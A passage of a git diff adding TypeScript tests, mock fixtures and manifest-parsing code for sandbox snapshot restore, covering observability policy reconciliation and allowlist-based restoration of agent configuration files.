"./snapshot-restore-test-fixture"; + +beforeEach(f.resetSnapshotRestoreMocks); +afterEach(f.cleanupSnapshotRestoreMocks); +describe("runSandboxSnapshot restore: observability policy reconciliation", () => { + it("does not resurrect an earlier removed preset while restoring unverified OTLP attribution", async () => { + let registryEntry = { + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + policies: ["github", "observability-otlp-local"], + }; + f.getSandboxMock.mockImplementation(() => registryEntry as never); + f.updateSandboxMock.mockImplementation((_sandboxName, update) => { + registryEntry = { ...registryEntry, ...(update as Partial) }; + }); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: [], + }); + f.getAppliedPresetsMock.mockReturnValue(["github", "observability-otlp-local"]); + f.getPresetContentGatewayStateMock.mockReturnValue("match"); + f.removePresetMock + .mockImplementationOnce((_sandboxName, presetName) => { + expect(presetName).toBe("github"); + registryEntry = { + ...registryEntry, + policies: registryEntry.policies.filter((name) => name !== "github"), + }; + return true; + }) + .mockReturnValue(true); + vi.spyOn(console, "warn").mockImplementation(() => {}); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.removePresetMock.mock.calls.map((call) => call[1])).toEqual([ + "github", + "observability-otlp-local", + ]); + expect(f.updateSandboxMock).toHaveBeenLastCalledWith("alpha", { + policies: ["observability-otlp-local"], + }); + expect(registryEntry.policies).toEqual(["observability-otlp-local"]); + }); + + it.each([ + { + label: "records an exact live enabled policy", + observabilityEnabled: true, + liveState: "match" as const, + policies: ["npm"], + expectedPolicies: ["npm", "observability-otlp-local"], + }, + { + label: "prunes an exact absent disabled policy", + observabilityEnabled: false, + liveState: "absent" as const, + policies: ["npm", "observability-otlp-local"], + expectedPolicies: ["npm"], + }, + ])("repairs stale OTLP registry state: $label", async ({ + observabilityEnabled, + liveState, + policies: recordedPolicies, + expectedPolicies, + }) => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled, + policyTier: "balanced", + policies: recordedPolicies, + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["npm"], + }); + f.getAppliedPresetsMock.mockReturnValue(recordedPolicies); + f.getPresetContentGatewayStateMock.mockReturnValue(liveState); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.updateSandboxMock).toHaveBeenCalledWith("alpha", { policies: expectedPolicies }); + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.removePresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + }); + + it("does not let a same-name, different-key custom replay suppress stale built-in OTLP cleanup", async () => { + const customPolicy = { + name: "observability-otlp-local", + content: "network_policies:\n operator-collector: {}\n", + sourcePath: "/policies/operator-collector.yaml", + }; + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: [customPolicy.name], + customPolicies: [customPolicy], + }); + f.getCustomPoliciesMock.mockReturnValueOnce([]).mockReturnValue([customPolicy]); + f.getAppliedPresetsMock.mockReturnValue(["observability-otlp-local"]); + f.getPresetContentGatewayStateMock.mockReturnValueOnce("match").mockReturnValueOnce("absent"); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.applyPresetContentMock).toHaveBeenCalledWith( + "alpha", + customPolicy.name, + customPolicy.content, + { custom: { sourcePath: customPolicy.sourcePath } }, + ); + expect(f.removePresetMock).toHaveBeenCalledTimes(1); + expect(f.removePresetMock).toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", customPolicy.name); + expect(f.updateSandboxMock).not.toHaveBeenCalled(); + }); + + it("lets successfully replayed corp-otel content own its exact live OTLP key", async () => { + const customPolicy = { + name: "corp-otel", + content: + "network_policies:\n observability-otlp-local:\n endpoints:\n - host: collector.corp.example\n", + sourcePath: "/policies/corp-otel.yaml", + }; + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + policies: ["npm", "observability-otlp-local"], + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["npm", "observability-otlp-local"], + customPolicies: [customPolicy], + }); + f.getCustomPoliciesMock.mockReturnValueOnce([]).mockReturnValue([customPolicy]); + f.getAppliedPresetsMock.mockReturnValue(["npm", "corp-otel", "observability-otlp-local"]); + f.getPresetContentGatewayStateMock.mockImplementation((_sandbox, content) => + content === customPolicy.content ? "match" : "drift", + ); + const { runSandboxSnapshot } = await import("./snapshot"); + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.applyPresetContentMock).toHaveBeenCalledWith( + "alpha", + customPolicy.name, + customPolicy.content, + { custom: { sourcePath: customPolicy.sourcePath } }, + ); + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.removePresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.removePresetMock).not.toHaveBeenCalledWith("alpha", customPolicy.name); + expect(f.updateSandboxMock).toHaveBeenCalledWith("alpha", { policies: ["npm"] }); + expect(f.getPresetContentGatewayStateMock).toHaveBeenCalledTimes(1); + expect(f.getPresetContentGatewayStateMock.mock.calls[0]?.[1]).toBe(customPolicy.content); + expect(f.getPresetContentGatewayStateMock.mock.calls[0]?.[2]).toBe("observability-otlp-local"); + }); + + it("does not let a failed corp-otel replay suppress stale built-in OTLP cleanup", async () => { + const customPolicy = { + name: "corp-otel", + content: + "network_policies:\n observability-otlp-local:\n endpoints:\n - host: collector.corp.example\n", + sourcePath: "/policies/corp-otel.yaml", + }; + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + policies: ["npm", "observability-otlp-local"], + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["npm", "observability-otlp-local"], + customPolicies: [customPolicy], + }); + f.getAppliedPresetsMock.mockReturnValue(["npm", "observability-otlp-local"]); + f.applyPresetContentMock.mockReturnValue(false); + f.getPresetContentGatewayStateMock.mockReturnValueOnce("match").mockReturnValueOnce("absent"); + const consoleWarn = vi.spyOn(console, "warn").mockImplementation(() => {}); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(consoleWarn.mock.calls.flat().join("\n")).toContain("corp-otel (apply failed)"); + expect(f.removePresetMock).toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(f.getPresetContentGatewayStateMock).toHaveBeenCalledTimes(2); + expect(f.getPresetContentGatewayStateMock).toHaveBeenCalledWith( + "alpha", + f.builtinObservabilityPolicy, + ); + }); + + it("aborts preset reconciliation when custom OTLP ownership is unreadable", async () => { + const currentCustomPolicy = { + name: "corp-otel", + content: "network_policies:\n observability-otlp-local: {}\n", + sourcePath: "/policies/old-collector.yaml", + }; + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: true, + policyTier: "balanced", + } as never); + f.getLatestBackupMock.mockReturnValue({ + ...f.latestBackupFixture, + policyPresets: [], + customPolicies: [], + }); + f.getCustomPoliciesMock.mockReturnValue([currentCustomPolicy]); + f.removePresetMock.mockReturnValue(false); + f.getPresetContentGatewayStateMock.mockImplementation((_sandbox, content) => + content === currentCustomPolicy.content ? null : "absent", + ); + const consoleWarn = vi.spyOn(console, "warn").mockImplementation(() => {}); + const { runSandboxSnapshot } = await import("./snapshot"); + await runSandboxSnapshot("alpha", { kind: "restore" }); + expect(f.removePresetMock).toHaveBeenCalledWith("alpha", currentCustomPolicy.name); + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + expect(consoleWarn.mock.calls.flat().join("\n")).toContain( + "leaving live policy presets unchanged", + ); + }); + it.each([ + "drift", + null, + ] as const)("does not remove built-in OTLP when its exact live content state is %s", async (gatewayState) => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: false, + policyTier: "balanced", + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: ["observability-otlp-local"], + }); + f.getAppliedPresetsMock.mockReturnValue(["observability-otlp-local"]); + f.getPresetContentGatewayStateMock.mockReturnValue(gatewayState); + const consoleWarn = vi.spyOn(console, "warn").mockImplementation(() => {}); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.removePresetMock).not.toHaveBeenCalled(); + expect(consoleWarn.mock.calls.flat().join("\n")).toContain( + "leaving its live policy content unchanged", + ); + }); + + it("normalizes a legacy restricted tier before deciding built-in OTLP egress", async () => { + f.getSandboxMock.mockReturnValue({ + name: "alpha", + agent: "langchain-deepagents-code", + observabilityEnabled: true, + policyTier: " Restricted ", + } as never); + f.getLatestBackupMock.mockReturnValue({ + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", + policyPresets: [], + }); + const { runSandboxSnapshot } = await import("./snapshot"); + + await runSandboxSnapshot("alpha", { kind: "restore" }); + + expect(f.applyPresetMock).not.toHaveBeenCalledWith("alpha", "observability-otlp-local"); + }); +}); diff --git a/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts b/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts new file mode 100644 index 0000000000..cfa7be5d49 --- /dev/null +++ b/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts @@ -0,0 +1,283 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { vi } from "vitest"; +import { SANDBOX_EXEC_STARTED_MARKER } from "./sandbox-exec-output"; +import type { SnapshotStreamSandboxCreateMock } from "./snapshot-create-stream-test-types"; + +export type OpenshellCaptureResult = { + status: number | null; + output: string; + stdout?: string; + stderr?: string; + error?: Error; + signal?: NodeJS.Signals | null; +}; +export type SandboxRecord = { + name: string; + agent?: string | null; + fromDockerfile?: string | null; + gatewayName?: string | null; + imageTag?: string | null; + openshellDriver?: string | null; + observabilityEnabled?: boolean; + provider?: string | null; + model?: string | null; +}; +export type DcodeProbeState = "active" | "idle" | "unverifiable" | "no-runtime"; + +export function dcodeProbeOutput(state: DcodeProbeState, extra = ""): string { + return `${SANDBOX_EXEC_STARTED_MARKER}\nNEMOCLAW_DCODE_PROBE=${state}\n${extra}`; +} + +export function captureOpenshellStreams( + args: string[], + result: OpenshellCaptureResult, +): OpenshellCaptureResult { + const command = String(args.at(-1) ?? ""); + const marker = command.match(/printf '%s\\n' '([^']+)'/)?.[1] ?? SANDBOX_EXEC_STARTED_MARKER; + const replaceMarker = (value: string) => value.replaceAll(SANDBOX_EXEC_STARTED_MARKER, marker); + const stdout = replaceMarker(result.stdout ?? result.output); + const stderr = replaceMarker(result.stderr ?? ""); + return { ...result, output: stdout, stdout, stderr }; +} + +export function openshellResponses( + args: string[], + responses: Record, +): OpenshellCaptureResult { + const result = responses[`${args[0] ?? ""} ${args[1] ?? ""}`] ?? { + status: 0, + output: "", + }; + return captureOpenshellStreams(args, result); +} + +export function defaultOpenshellResponses(args: string[]): OpenshellCaptureResult { + return openshellResponses(args, { + "sandbox exec": { status: 0, output: dcodeProbeOutput("no-runtime") }, + "sandbox list": { + status: 0, + output: "alpha Ready\n", + }, + }); +} + +const shieldsMock = vi.hoisted(() => { + const isShieldsDownMock = vi.fn(() => true); + const repairMutableConfigPermsMock = vi.fn(() => ({ + applied: true, + verified: true, + errors: [], + })); + const shieldsUpMock = vi.fn(); + let isShieldsDownExport: unknown = isShieldsDownMock; + return { + isShieldsDownMock, + repairMutableConfigPermsMock, + shieldsUpMock, + getIsShieldsDownExport: () => isShieldsDownExport, + setIsShieldsDownExport: (value: unknown) => { + isShieldsDownExport = value; + }, + }; +}); + +const lifecycleMock = vi.hoisted(() => { + const events: string[] = []; + return { + events, + cleanupShieldsDestroyArtifactsMock: vi.fn(() => events.push("cleanup-shields")), + readTimerMarkerMock: vi.fn(() => null as Record | null), + withTimerBoundMock: vi.fn( + (_sandboxName: string, command: string, fn: () => unknown): unknown => { + events.push(`lock:${command}`); + return fn(); + }, + ), + }; +}); + +export const backupSandboxStateMock = vi.fn(); +export const captureOpenshellMock = vi.fn< + (args: string[], opts?: Record) => OpenshellCaptureResult +>((args) => defaultOpenshellResponses(args)); +export const dockerInspectMock = vi.fn(() => ({ status: 0, stdout: "true\n" })); +export const findBackupMock = vi.fn(); +export const getAppliedPresetsMock = vi.fn(() => [] as string[]); +export const getCustomPoliciesMock = vi.fn( + () => [] as Array<{ name: string; content: string; sourcePath?: string }>, +); +export const getLatestBackupMock = vi.fn(() => null as Record | null); +export const applyPresetMock = vi.fn((_sandbox: string, _preset: string) => true); +export const applyPresetContentMock = vi.fn( + (_sandbox: string, _name: string, _content: string, _options?: unknown) => true, +); +export const removePresetMock = vi.fn((_sandbox: string, _preset: string) => true); +export const getPresetContentGatewayStateMock = vi.fn< + (_sandbox: string, _content: string, _policyKey?: string) => "match" | "absent" | "drift" | null +>(() => "absent"); +export const builtinObservabilityPolicy = + "network_policies:\n observability-otlp-local:\n endpoints:\n - host: host.openshell.internal\n"; +export const loadPresetForSandboxMock = vi.fn((_sandbox: string, preset: string) => + preset === "observability-otlp-local" ? builtinObservabilityPolicy : null, +); +export const getSandboxMock = vi.fn<(name?: string) => SandboxRecord | null>(() => null); +export const isGatewayHealthyMock = vi.fn(() => true); +export const listBackupsMock = vi.fn<() => Array>>(() => []); +export const parseLiveSandboxNamesMock = vi.fn(() => new Set(["alpha"])); +export const registerSandboxMock = vi.fn(); +export const updateSandboxMock = vi.fn(); +export const restoreSandboxStateMock = vi.fn(); +export const runOpenshellMock = vi.fn((args: string[]) => { + args[0] === "sandbox" && args[1] === "delete" && lifecycleMock.events.push("delete"); + return { status: 0, output: "" }; +}); +export const streamSandboxCreateMock = vi.fn(async () => ({ + status: 0, + output: "", + sawProgress: false, + forcedReady: false, +})); +export const latestBackupFixture = { + timestamp: "2026-06-15T00:00:00.000Z", + backupPath: "/tmp/backup-alpha", +}; + +export { lifecycleMock, shieldsMock }; + +vi.mock("../../adapters/docker", () => ({ + dockerCapture: vi.fn(() => ""), + dockerInspect: dockerInspectMock, +})); + +vi.mock("../../adapters/openshell/runtime", () => ({ + captureOpenshell: captureOpenshellMock, + getOpenshellBinary: vi.fn(() => "openshell"), + runOpenshell: runOpenshellMock, +})); + +vi.mock("../../credentials/store", () => ({ + prompt: vi.fn(), +})); + +vi.mock("../../domain/sandbox/destroy", () => ({ + getSandboxDeleteOutcome: vi.fn(() => ({ alreadyGone: false, gatewayUnreachable: false })), +})); + +vi.mock("../../inference/nim", () => ({ + stopNimContainer: vi.fn(), + stopNimContainerByName: vi.fn(), +})); + +vi.mock("../../policy", () => ({ + applyPreset: applyPresetMock, + applyPresetContent: applyPresetContentMock, + getAppliedPresets: getAppliedPresetsMock, + getPresetContentGatewayState: getPresetContentGatewayStateMock, + loadPresetForSandbox: loadPresetForSandboxMock, + removePreset: removePresetMock, +})); + +vi.mock("../../runner", () => ({ + ROOT: "/repo", + run: vi.fn(() => ({ status: 0 })), + shellQuote: (value: string) => `'${value}'`, + validateName: vi.fn((value: string) => value), +})); + +vi.mock("../../runtime-recovery", () => ({ + parseLiveSandboxNames: parseLiveSandboxNamesMock, +})); + +vi.mock("../../shields", () => ({ + get isShieldsDown() { + return shieldsMock.getIsShieldsDownExport(); + }, + repairMutableConfigPerms: shieldsMock.repairMutableConfigPermsMock, + shieldsUp: shieldsMock.shieldsUpMock, +})); + +vi.mock("../../shields/timer-bound-lock", () => ({ + withTimerBoundShieldsMutationLock: lifecycleMock.withTimerBoundMock, +})); + +vi.mock("../../shields/timer-control", () => ({ + readTimerMarker: lifecycleMock.readTimerMarkerMock, +})); + +vi.mock("../../sandbox/create-stream", () => ({ + streamSandboxCreate: streamSandboxCreateMock, +})); + +vi.mock("../../state/gateway", () => ({ + isGatewayHealthy: isGatewayHealthyMock, + isSandboxReady: vi.fn((output: string, sandboxName: string) => + output.includes(`${sandboxName} Ready`), + ), +})); + +vi.mock("../../state/registry", () => ({ + getCustomPolicies: getCustomPoliciesMock, + getSandbox: getSandboxMock, + listSandboxes: () => ({ + sandboxes: ["alpha", "beta", "gamma"].map((name) => getSandboxMock(name)).filter(Boolean), + defaultSandbox: "alpha", + }), + registerSandbox: registerSandboxMock, + removeSandbox: vi.fn(), + updateSandbox: updateSandboxMock, +})); + +vi.mock("../../state/sandbox", () => ({ + backupSandboxState: backupSandboxStateMock, + findBackup: findBackupMock, + getLatestBackup: getLatestBackupMock, + listBackups: listBackupsMock, + restoreSandboxState: restoreSandboxStateMock, +})); + +vi.mock("./destroy", () => ({ + cleanupShieldsDestroyArtifacts: lifecycleMock.cleanupShieldsDestroyArtifactsMock, + removeSandboxRegistryEntry: vi.fn(), +})); + +export function resetSnapshotRestoreMocks(): void { + vi.clearAllMocks(); + shieldsMock.setIsShieldsDownExport(shieldsMock.isShieldsDownMock); + shieldsMock.isShieldsDownMock.mockReturnValue(true); + shieldsMock.shieldsUpMock.mockImplementation(() => lifecycleMock.events.push("harden")); + lifecycleMock.events.length = 0; + lifecycleMock.readTimerMarkerMock.mockReturnValue(null); + captureOpenshellMock.mockImplementation((args) => defaultOpenshellResponses(args)); + dockerInspectMock.mockReturnValue({ status: 0, stdout: "true\n" }); + findBackupMock.mockReturnValue({ match: null }); + getAppliedPresetsMock.mockReturnValue([]); + getCustomPoliciesMock.mockReturnValue([]); + getLatestBackupMock.mockReturnValue(null); + applyPresetMock.mockReturnValue(true); + applyPresetContentMock.mockReturnValue(true); + removePresetMock.mockReturnValue(true); + getPresetContentGatewayStateMock.mockReturnValue("absent"); + loadPresetForSandboxMock.mockImplementation((_sandbox, preset) => + preset === "observability-otlp-local" ? builtinObservabilityPolicy : null, + ); + getSandboxMock.mockReturnValue(null); + isGatewayHealthyMock.mockReturnValue(true); + listBackupsMock.mockReturnValue([]); + registerSandboxMock.mockReset(); + updateSandboxMock.mockReset(); + restoreSandboxStateMock.mockReturnValue({ + success: true, + restoredDirs: [], + restoredFiles: [], + failedDirs: [], + failedFiles: [], + }); + parseLiveSandboxNamesMock.mockReturnValue(new Set(["alpha"])); +} + +export function cleanupSnapshotRestoreMocks(): void { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); +} diff --git a/src/lib/agent/definition-types.ts b/src/lib/agent/definition-types.ts index e99a92d0e4..4664876db1 100644 --- a/src/lib/agent/definition-types.ts +++ b/src/lib/agent/definition-types.ts @@ -25,9 +25,46 @@ export interface AgentConfigPaths { export type AgentStateFileStrategy = "copy" | "sqlite_backup"; +export type StateFileRestoreMerge = "key-allowlist" | "openclaw-config"; + +export type StateFileUserKeyType = "boolean" | "string" | "integer" | "number" | "enum"; + +export interface StateFileUserKey { + key: string; + type: StateFileUserKeyType; + values?: readonly (string | number | boolean)[]; + min?: number; + max?: number; + maxLength?: number; +} + +export interface StateFileFreshHeader { + match: "exact" | "prefix"; + value: string; +} + +export interface StateFileKeyAllowlistRestoreOwnership { + merge: "key-allowlist"; + userKeys: readonly StateFileUserKey[]; + requireFreshTables?: readonly string[]; + requireFreshHeaders?: readonly StateFileFreshHeader[]; +} + +export interface StateFileOpenClawRestoreOwnership { + merge: "openclaw-config"; + userKeys?: never; + requireFreshTables?: never; + requireFreshHeaders?: never; +} + +export type StateFileRestoreOwnership = + | StateFileKeyAllowlistRestoreOwnership + | StateFileOpenClawRestoreOwnership; + export interface AgentStateFile { path: string; strategy: AgentStateFileStrategy; + restore?: StateFileRestoreOwnership; } export type AgentDashboardKind = "ui" | "api"; diff --git a/src/lib/agent/defs-state-file-restore-ownership.test.ts b/src/lib/agent/defs-state-file-restore-ownership.test.ts new file mode 100644 index 0000000000..29d9e95695 --- /dev/null +++ b/src/lib/agent/defs-state-file-restore-ownership.test.ts @@ -0,0 +1,68 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from "vitest"; + +import { + loadAgent, + type StateFileKeyAllowlistRestoreOwnership, + type StateFileRestoreOwnership, +} from "./defs"; + +function assertKeyAllowlistOwnership( + ownership: StateFileRestoreOwnership | undefined, +): asserts ownership is StateFileKeyAllowlistRestoreOwnership { + ownership?.merge === "key-allowlist" || + (() => { + throw new Error("Deep Agents config must declare key-allowlist restore ownership"); + })(); +} + +describe("agent manifest state-file restore ownership (#6334)", () => { + it("declares selective OpenClaw config restoration", () => { + expect(loadAgent("openclaw").stateFiles).toEqual([ + { path: "openclaw.json", strategy: "copy", restore: { merge: "openclaw-config" } }, + ]); + }); + + it("limits Deep Agents restoration to explicit user-owned preferences", () => { + const stateFiles = loadAgent("langchain-deepagents-code").stateFiles; + expect(stateFiles).toEqual([ + { + path: "config.toml", + strategy: "copy", + restore: { + merge: "key-allowlist", + userKeys: [ + { key: "ui.show_scrollbar", type: "boolean" }, + { key: "ui.show_url_open_toast", type: "boolean" }, + { key: "threads.relative_time", type: "boolean" }, + { key: "threads.sort_order", type: "enum", values: ["updated_at", "created_at"] }, + ], + requireFreshTables: ["models", "update"], + requireFreshHeaders: [ + { + match: "exact", + value: "# Generated by NemoClaw. This file contains no provider secrets.", + }, + { match: "prefix", value: "# NemoClaw provider route: " }, + ], + }, + }, + ]); + + const configOwnership = stateFiles[0]?.restore; + assertKeyAllowlistOwnership(configOwnership); + const userOwnedKeys = configOwnership.userKeys.map((entry) => entry.key); + expect(userOwnedKeys).toEqual([ + "ui.show_scrollbar", + "ui.show_url_open_toast", + "threads.relative_time", + "threads.sort_order", + ]); + expect(configOwnership.requireFreshTables).toEqual(["models", "update"]); + for (const runtimeOrUnknownKey of ["ui.theme", "agents", "servers"]) { + expect(userOwnedKeys).not.toContain(runtimeOrUnknownKey); + } + }); +}); diff --git a/src/lib/agent/defs.test.ts b/src/lib/agent/defs.test.ts index 639e13a29f..6c25ac867a 100644 --- a/src/lib/agent/defs.test.ts +++ b/src/lib/agent/defs.test.ts @@ -55,7 +55,9 @@ describe("agent definitions", () => { expect(openclaw.webAuth).toEqual({ method: "none", env: null }); // #5027: openclaw.json must be declared as a durable state file so // backup-all/rebuild preserve core settings (model/provider, MCP, agents). - expect(openclaw.stateFiles).toEqual([{ path: "openclaw.json", strategy: "copy" }]); + expect(openclaw.stateFiles).toEqual([ + { path: "openclaw.json", strategy: "copy", restore: { merge: "openclaw-config" } }, + ]); expect(openclaw.userManagedFiles).toEqual([".env", ".mcp.json"]); expect(openclaw.legacyPaths?.startScript).toContain("scripts/nemoclaw-start.sh"); }); @@ -133,7 +135,12 @@ describe("agent definitions", () => { adapter: "deepagents-config", }); expect(deepAgentsCode.stateDirs).toEqual([".state", "skills", "agent/skills"]); - expect(deepAgentsCode.stateFiles).toEqual([{ path: "config.toml", strategy: "copy" }]); + expect( + deepAgentsCode.stateFiles.map(({ path: statePath, strategy }) => ({ + path: statePath, + strategy, + })), + ).toEqual([{ path: "config.toml", strategy: "copy" }]); expect(deepAgentsCode.stateFiles.map((entry) => entry.path)).not.toContain(".env"); expect(deepAgentsCode.userManagedFiles).toEqual([".deepagents/.env", ".deepagents/.mcp.json"]); }); diff --git a/src/lib/agent/defs.ts b/src/lib/agent/defs.ts index c8b7dc21c6..f7bf87ecc1 100644 --- a/src/lib/agent/defs.ts +++ b/src/lib/agent/defs.ts @@ -60,6 +60,13 @@ export type { AgentStateFile, AgentStateFileStrategy, AgentVersionScheme, + StateFileFreshHeader, + StateFileKeyAllowlistRestoreOwnership, + StateFileOpenClawRestoreOwnership, + StateFileRestoreMerge, + StateFileRestoreOwnership, + StateFileUserKey, + StateFileUserKeyType, } from "./definition-types"; export type { AgentRuntime, AgentRuntimeKind } from "./runtime-manifest"; export { getAgentRuntimeKind, isTerminalAgent } from "./runtime-manifest"; diff --git a/src/lib/agent/manifest-readers.ts b/src/lib/agent/manifest-readers.ts index 9c38413f09..bb181d12db 100644 --- a/src/lib/agent/manifest-readers.ts +++ b/src/lib/agent/manifest-readers.ts @@ -16,6 +16,7 @@ import type { ManifestValue, StringMap, } from "./definition-types"; +import { readStateFileRestore } from "./state-file-restore-reader"; const yaml: { load(input: string): unknown } = require("js-yaml"); @@ -63,6 +64,27 @@ export function readStringArray(record: ManifestRecord, key: string): string[] | } const CONTROL_CHAR_RE = /[\x00-\x1f\x7f]/; +const STATE_FILE_FIELDS = new Set(["path", "strategy", "restore"]); + +function assertStateFilePath(value: string, field: string): void { + if (value.length === 0) { + throw new Error(`Agent manifest field '${field}' must not be empty`); + } + if (CONTROL_CHAR_RE.test(value)) { + throw new Error(`Agent manifest field '${field}' must not contain control characters`); + } + if (value.startsWith("/")) { + throw new Error(`Agent manifest field '${field}' must be a relative path, not absolute`); + } + if (value.includes("\\")) { + throw new Error(`Agent manifest field '${field}' must use canonical forward slashes`); + } + if (value.split("/").some((segment) => segment === "" || segment === "." || segment === "..")) { + throw new Error( + `Agent manifest field '${field}' must be a canonical relative path without empty, '.', or '..' components`, + ); + } +} export function readUserManagedFiles(record: ManifestRecord): string[] | undefined { const value = record.user_managed_files; @@ -110,25 +132,35 @@ export function readStateFiles(record: ManifestRecord): AgentStateFile[] | undef } return value.map((entry, index) => { + const field = `state_files[${String(index)}]`; if (typeof entry === "string") { + assertStateFilePath(entry, field); return { path: entry, strategy: "copy" }; } if (!isManifestRecord(entry)) { - throw new Error( - `Agent manifest field 'state_files[${String(index)}]' must be a string or object`, - ); + throw new Error(`Agent manifest field '${field}' must be a string or object`); + } + for (const key of Object.keys(entry)) { + if (!STATE_FILE_FIELDS.has(key)) { + throw new Error(`Agent manifest field '${field}.${key}' is not allowed`); + } } const statePath = readString(entry, "path"); if (!statePath) { - throw new Error(`Agent manifest field 'state_files[${String(index)}].path' is required`); + throw new Error(`Agent manifest field '${field}.path' is required`); + } + assertStateFilePath(statePath, `${field}.path`); + if (entry.strategy !== undefined && typeof entry.strategy !== "string") { + throw new Error(`Agent manifest field '${field}.strategy' must be copy or sqlite_backup`); } const rawStrategy = readString(entry, "strategy") ?? "copy"; if (rawStrategy !== "copy" && rawStrategy !== "sqlite_backup") { - throw new Error( - `Agent manifest field 'state_files[${String(index)}].strategy' must be copy or sqlite_backup`, - ); + throw new Error(`Agent manifest field '${field}.strategy' must be copy or sqlite_backup`); } - return { path: statePath, strategy: rawStrategy }; + const restore = readStateFileRestore(entry, index, rawStrategy); + return restore + ? { path: statePath, strategy: rawStrategy, restore } + : { path: statePath, strategy: rawStrategy }; }); } diff --git a/src/lib/agent/state-file-restore-reader.test.ts b/src/lib/agent/state-file-restore-reader.test.ts new file mode 100644 index 0000000000..0decbc339f --- /dev/null +++ b/src/lib/agent/state-file-restore-reader.test.ts @@ -0,0 +1,321 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import fs from "node:fs"; +import path from "node:path"; + +import { afterEach, describe, expect, it } from "vitest"; + +import { AGENTS_DIR, loadAgent } from "./defs"; + +const tempAgentDirs: string[] = []; + +function writeTempAgentManifest(name: string, contents: string): void { + const agentDir = path.join(AGENTS_DIR, name); + tempAgentDirs.push(agentDir); + fs.mkdirSync(agentDir, { recursive: true }); + fs.writeFileSync(path.join(agentDir, "manifest.yaml"), contents); +} + +afterEach(() => { + for (const agentDir of tempAgentDirs.splice(0)) { + fs.rmSync(agentDir, { recursive: true, force: true }); + } +}); + +describe("state file restore ownership", () => { + it("parses a declarative key-allowlist restore ownership block (#6334)", () => { + const agentName = `restore-keyallowlist-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: config.toml", + " restore:", + " merge: key-allowlist", + " require_fresh_tables:", + " - models", + " require_fresh_headers:", + ' - "# Generated"', + " - match: prefix", + ' value: "# route: "', + " user_keys:", + " - key: ui.show_scrollbar", + " type: boolean", + " - key: threads.sort_order", + " type: enum", + " values:", + " - updated_at", + " - created_at", + ].join("\n"), + ); + + expect(loadAgent(agentName).stateFiles).toEqual([ + { + path: "config.toml", + strategy: "copy", + restore: { + merge: "key-allowlist", + userKeys: [ + { key: "ui.show_scrollbar", type: "boolean" }, + { key: "threads.sort_order", type: "enum", values: ["updated_at", "created_at"] }, + ], + requireFreshTables: ["models"], + requireFreshHeaders: [ + { match: "exact", value: "# Generated" }, + { match: "prefix", value: "# route: " }, + ], + }, + }, + ]); + }); + + it("parses the openclaw-config named restore strategy (#6334)", () => { + const agentName = `restore-openclaw-${String(Date.now())}`; + writeTempAgentManifest( + agentName, + [ + `name: ${agentName}`, + "display_name: Restore", + "state_files:", + " - path: openclaw.json", + " restore:", + " merge: openclaw-config", + ].join("\n"), + ); + + expect(loadAgent(agentName).stateFiles).toEqual([ + { path: 